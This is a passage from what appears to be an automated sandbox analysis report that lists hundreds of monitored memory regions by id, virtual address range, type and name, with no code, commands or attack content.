0x430000 end_va = 0x43efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000430000" filename = "" Region: id = 1365 start_va = 0x430000 end_va = 0x430fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000430000" filename = "" Region: id = 1366 start_va = 0x430000 end_va = 0x43ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000430000" filename = "" Region: id = 1367 start_va = 0x430000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000430000" filename = "" Region: id = 1368 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 1369 start_va = 0x430000 end_va = 0x43efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000430000" filename = "" Region: id = 1370 start_va = 0x430000 end_va = 0x430fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000430000" filename = "" Region: id = 1371 start_va = 0x430000 end_va = 0x43ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000430000" filename = "" Region: id = 1372 start_va = 0x430000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000430000" filename = "" Region: id = 1373 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 1374 start_va = 0x430000 end_va = 0x43efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000430000" filename = "" Region: id = 1375 start_va = 0x430000 end_va = 0x430fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000430000" filename = "" Region: id = 1376 start_va = 0x430000 end_va = 0x43ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000430000" filename = "" Region: id = 1377 start_va = 0x430000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000430000" filename = "" Region: id = 1378 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 1379 start_va = 0x430000 end_va = 0x43efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000430000" filename = "" Region: id = 1380 start_va = 0x430000 end_va = 0x43ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000430000" filename = "" Region: id = 1381 start_va = 0x430000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000430000" filename = "" Region: id = 1382 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 1383 start_va = 0x430000 end_va = 0x43efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000430000" filename = "" Region: id = 1384 start_va = 0x430000 end_va = 0x430fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000430000" filename = "" Region: id = 1385 start_va = 0x430000 end_va = 0x43ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000430000" filename = "" Region: id = 1386 start_va = 0x430000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000430000" filename = "" Region: id = 1387 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 1388 start_va = 0x430000 end_va = 0x43efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000430000" filename = "" Region: id = 1389 start_va = 0x430000 end_va = 0x430fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000430000" filename = "" Region: id = 1390 start_va = 0x430000 end_va = 0x43ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000430000" filename = "" Region: id = 1391 start_va = 0x430000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000430000" filename = "" Region: id = 1392 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 1393 start_va = 0x430000 end_va = 0x43efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000430000" filename = "" Region: id = 1394 start_va = 0x430000 end_va = 0x430fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000430000" filename = "" Region: id = 1395 start_va = 0x430000 end_va = 0x43ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000430000" filename = "" Region: id = 1396 start_va = 0x430000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000430000" filename = "" Region: id = 1397 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 1398 start_va = 0x430000 end_va = 0x43efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000430000" filename = "" Region: id = 1399 start_va = 0x430000 end_va = 0x43efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000430000" filename = "" Region: id = 1400 start_va = 0x430000 end_va = 0x43ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000430000" filename = "" Region: id = 1401 start_va = 0x430000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000430000" filename = "" Region: id = 1402 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 1403 start_va = 0x430000 end_va = 0x43efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000430000" filename = "" Region: id = 1404 start_va = 0x430000 end_va = 0x430fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000430000" filename = "" Region: id = 1405 start_va = 0x430000 end_va = 0x43ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000430000" filename = "" Region: id = 1406 start_va = 0x430000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000430000" filename = "" Region: id = 1407 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 1408 start_va = 0x430000 end_va = 0x43efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000430000" filename = "" Region: id = 1409 start_va = 0x430000 end_va = 0x43efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000430000" filename = "" Region: id = 1410 start_va = 0x430000 end_va = 0x430fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000430000" filename = "" Region: id = 1411 start_va = 0x430000 end_va = 0x43ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000430000" filename = "" Region: id = 1412 start_va = 0x430000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000430000" filename = "" Region: id = 1413 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 1414 start_va = 0x430000 end_va = 0x43efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000430000" filename = "" Region: id = 1415 start_va = 0x430000 end_va = 0x430fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000430000" filename = "" Region: id = 1416 start_va = 0x430000 end_va = 0x43ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000430000" filename = "" Region: id = 1417 start_va = 0x430000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000430000" filename = "" Region: id = 1418 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 1419 start_va = 0x430000 end_va = 0x43efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000430000" filename = "" Region: id = 1420 start_va = 0x430000 end_va = 0x430fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000430000" filename = "" Region: id = 1421 start_va = 0x430000 end_va = 0x43ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000430000" filename = "" Region: id = 1422 start_va = 0x430000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000430000" filename = "" Region: id = 1423 start_va = 0x450000 end_va = 0x450fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 1424 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 1425 start_va = 0x430000 end_va = 0x43efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000430000" filename = "" Region: id = 1426 start_va = 0x430000 end_va = 0x43ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000430000" filename = "" Region: id = 1427 start_va = 0x430000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000430000" filename = "" Region: id = 1428 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 1429 start_va = 0x430000 end_va = 0x43efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000430000" filename = "" Region: id = 1430 start_va = 0x430000 end_va = 0x430fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000430000" filename = "" Region: id = 1431 start_va = 0x430000 end_va = 0x43ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000430000" filename = "" Region: id = 1432 start_va = 0x430000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000430000" filename = "" Region: id = 1433 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 1434 start_va = 0x430000 end_va = 0x43efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000430000" filename = "" Region: id = 1435 start_va = 0x430000 end_va = 0x43efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000430000" filename = "" Region: id = 1436 start_va = 0x430000 end_va = 0x430fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000430000" filename = "" Region: id = 1437 start_va = 0x430000 end_va = 0x43ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000430000" filename = "" Region: id = 1438 start_va = 0x430000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000430000" filename = "" Region: id = 1439 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 1440 start_va = 0x430000 end_va = 0x43efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000430000" filename = "" Region: id = 1441 start_va = 0x430000 end_va = 0x430fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000430000" filename = "" Region: id = 1442 start_va = 0x430000 end_va = 0x43ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000430000" filename = "" Region: id = 1443 start_va = 0x430000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000430000" filename = "" Region: id = 1444 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 1445 start_va = 0x430000 end_va = 0x43efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000430000" filename = "" Region: id = 1446 start_va = 0x430000 end_va = 0x43efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000430000" filename = "" Region: id = 1447 start_va = 0x440000 end_va = 0x440fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 1448 start_va = 0x430000 end_va = 0x430fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000430000" filename = "" Region: id = 1449 start_va = 0x430000 end_va = 0x43ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000430000" filename = "" Region: id = 1450 start_va = 0x430000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000430000" filename = "" Region: id = 1451 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 1452 start_va = 0x430000 end_va = 0x43efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000430000" filename = "" Region: id = 1453 start_va = 0x430000 end_va = 0x43ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000430000" filename = "" Region: id = 1454 start_va = 0x430000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000430000" filename = "" Region: id = 1455 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 1456 start_va = 0x430000 end_va = 0x43efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000430000" filename = "" Region: id = 1457 start_va = 0x430000 end_va = 0x430fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000430000" filename = "" Region: id = 1458 start_va = 0x430000 end_va = 0x43ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000430000" filename = "" Region: id = 1459 start_va = 0x430000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000430000" filename = "" Region: id = 1460 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 1461 start_va = 0x430000 end_va = 0x43efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000430000" filename = "" Region: id = 1462 start_va = 0x430000 end_va = 0x43efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000430000" filename = "" Region: id = 1463 start_va = 0x430000 end_va = 0x430fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000430000" filename = "" Region: id = 1464 start_va = 0x430000 end_va = 0x43ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000430000" filename = "" Region: id = 1465 start_va = 0x430000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000430000" filename = "" Region: id = 1466 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 1467 start_va = 0x430000 end_va = 0x43efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000430000" filename = "" Region: id = 1468 start_va = 0x430000 end_va = 0x43efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000430000" filename = "" Region: id = 1469 start_va = 0x430000 end_va = 0x430fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000430000" filename = "" Region: id = 1470 start_va = 0x430000 end_va = 0x43ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000430000" filename = "" Region: id = 1471 start_va = 0x430000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000430000" filename = "" Region: id = 1472 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 1473 start_va = 0x430000 end_va = 0x43efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000430000" filename = "" Region: id = 1474 start_va = 0x430000 end_va = 0x430fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000430000" filename = "" Region: id = 1475 start_va = 0x430000 end_va = 0x43ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000430000" filename = "" Region: id = 1476 start_va = 0x430000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000430000" filename = "" Region: id = 1477 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 1478 start_va = 0x430000 end_va = 0x43efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000430000" filename = "" Region: id = 1479 start_va = 0x430000 end_va = 0x430fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000430000" filename = "" Region: id = 1480 start_va = 0x430000 end_va = 0x43ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000430000" filename = "" Region: id = 1481 start_va = 0x430000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000430000" filename = "" Region: id = 1482 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 1483 start_va = 0x430000 end_va = 0x43efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000430000" filename = "" Region: id = 1484 start_va = 0x430000 end_va = 0x430fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000430000" filename = "" Region: id = 1485 start_va = 0x430000 end_va = 0x43ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000430000" filename = "" Region: id = 1486 start_va = 0x430000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000430000" filename = "" Region: id = 1487 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 1488 start_va = 0x430000 end_va = 0x43efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000430000" filename = "" Region: id = 1489 start_va = 0x430000 end_va = 0x430fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000430000" filename = "" Region: id = 1490 start_va = 0x430000 end_va = 0x43ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000430000" filename = "" Region: id = 1491 start_va = 0x430000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000430000" filename = "" Region: id = 1492 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 1493 start_va = 0x430000 end_va = 0x43efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000430000" filename = "" Region: id = 1494 start_va = 0x430000 end_va = 0x430fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000430000" filename = "" Region: id = 1495 start_va = 0x430000 end_va = 0x43ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000430000" filename = "" Region: id = 1496 start_va = 0x430000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000430000" filename = "" Region: id = 1497 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 1498 start_va = 0x430000 end_va = 0x43efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000430000" filename = "" Region: id = 1499 start_va = 0x430000 end_va = 0x430fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000430000" filename = "" Region: id = 1500 start_va = 0x430000 end_va = 0x43ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000430000" filename = "" Region: id = 1501 start_va = 0x430000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000430000" filename = "" Region: id = 1502 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 1503 start_va = 0x430000 end_va = 0x43efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000430000" filename = "" Region: id = 1504 start_va = 0x430000 end_va = 0x43ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000430000" filename = "" Region: id = 1505 start_va = 0x430000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000430000" filename = "" Region: id = 1506 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 1507 start_va = 0x430000 end_va = 0x43efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000430000" filename = "" Region: id = 1508 start_va = 0x430000 end_va = 0x430fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000430000" filename = "" Region: id = 1509 start_va = 0x430000 end_va = 0x43ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000430000" filename = "" Region: id = 1510 start_va = 0x430000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000430000" filename = "" Region: id = 1511 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 1512 start_va = 0x430000 end_va = 0x43efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000430000" filename = "" Region: id = 1513 start_va = 0x430000 end_va = 0x430fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000430000" filename = "" Region: id = 1514 start_va = 0x430000 end_va = 0x43ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000430000" filename = "" Region: id = 1515 start_va = 0x430000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000430000" filename = "" Region: id = 1516 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 1517 start_va = 0x430000 end_va = 0x43efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000430000" filename = "" Region: id = 1518 start_va = 0x430000 end_va = 0x430fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000430000" filename = "" Region: id = 1519 start_va = 0x430000 end_va = 0x43ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000430000" filename = "" Region: id = 1520 start_va = 0x430000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000430000" filename = "" Region: id = 1521 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 1522 start_va = 0x430000 end_va = 0x43efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000430000" filename = "" Region: id = 1523 start_va = 0x430000 end_va = 0x43efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000430000" filename = "" Region: id = 1524 start_va = 0x430000 end_va = 0x430fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000430000" filename = "" Region: id = 1525 start_va = 0x430000 end_va = 0x43ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000430000" filename = "" Region: id = 1526 start_va = 0x430000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000430000" filename = "" Region: id = 1527 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 1528 start_va = 0x430000 end_va = 0x43efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000430000" filename = "" Region: id = 1529 start_va = 0x430000 end_va = 0x430fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000430000" filename = "" Region: id = 1530 start_va = 0x430000 end_va = 0x43ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000430000" filename = "" Region: id = 1531 start_va = 0x430000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000430000" filename = "" Region: id = 1532 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 1533 start_va = 0x430000 end_va = 0x43efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000430000" filename = "" Region: id = 1534 start_va = 0x430000 end_va = 0x43efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000430000" filename = "" Region: id = 1535 start_va = 0x440000 end_va = 0x440fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 1536 start_va = 0x430000 end_va = 0x430fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000430000" filename = "" Region: id = 1537 start_va = 0x430000 end_va = 0x43ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000430000" filename = "" Region: id = 1538 start_va = 0x430000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000430000" filename = "" Region: id = 1539 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 1540 start_va = 0x430000 end_va = 0x43efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000430000" filename = "" Region: id = 1541 start_va = 0x430000 end_va = 0x43ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000430000" filename = "" Region: id = 1542 start_va = 0x430000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000430000" filename = "" Region: id = 1543 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 1544 start_va = 0x430000 end_va = 0x43efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000430000" filename = "" Region: id = 1545 start_va = 0x430000 end_va = 0x430fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000430000" filename = "" Region: id = 1546 start_va = 0x430000 end_va = 0x43ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000430000" filename = "" Region: id = 1547 start_va = 0x430000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000430000" filename = "" Region: id = 1548 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 1549 start_va = 0x430000 end_va = 0x43efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000430000" filename = "" Region: id = 1550 start_va = 0x430000 end_va = 0x430fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000430000" filename = "" Region: id = 1551 start_va = 0x430000 end_va = 0x43ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000430000" filename = "" Region: id = 1552 start_va = 0x430000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000430000" filename = "" Region: id = 1553 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 1554 start_va = 0x430000 end_va = 0x43efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000430000" filename = "" Region: id = 1555 start_va = 0x430000 end_va = 0x43ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000430000" filename = "" Region: id = 1556 start_va = 0x430000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000430000" filename = "" Region: id = 1557 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 1558 start_va = 0x430000 end_va = 0x43efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000430000" filename = "" Region: id = 1559 start_va = 0x430000 end_va = 0x43ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000430000" filename = "" Region: id = 1560 start_va = 0x430000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000430000" filename = "" Region: id = 1561 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" 